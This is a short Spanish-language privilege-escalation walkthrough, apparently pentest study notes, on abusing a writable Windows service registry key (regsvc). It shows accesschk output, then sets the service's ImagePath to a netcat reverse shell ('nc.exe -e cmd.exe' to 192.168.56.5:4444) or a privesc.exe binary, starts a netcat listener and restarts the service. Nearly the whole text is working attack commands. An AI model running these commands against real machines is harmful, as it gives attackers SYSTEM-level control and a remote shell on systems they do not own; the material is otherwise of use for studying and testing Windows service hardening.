ACL de registro permisivas

Si una cuenta de usuario puede registrar servicios, entonces podemos crear un servicios malicioso para realizar una tarea privilegiada.

PS C:\> accesschk.exe /accepteula "user" -kvuqsw hklm\System\CurrentControlSet\services

Accesschk v6.13 - Reports effective permissions for securable objects
Copyright  2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com

RW HKLM\System\CurrentControlSet\services\regsvc
        KEY_ALL_ACCESS

<SNIP>

Cambiar ImagePath con PowerShell

Podemos abusar de esto usando el cmdlet de PowerShell. Set-ItemProperty para cambiar el valor de ImagePath, usando un comando como:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\regsvc -Name "ImagePath" -Value "C:\Temp\nc.exe -e cmd.exe 192.168.56.5 4444"
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d [C:\Temp\privesc.exe] /f

Nos ponemos en escucha con Netcat

rlwrap nc -lnvp 4444

Detemenos e Iniciamos el servicio

sc.exe stop regsvc
sc.exe start regsvc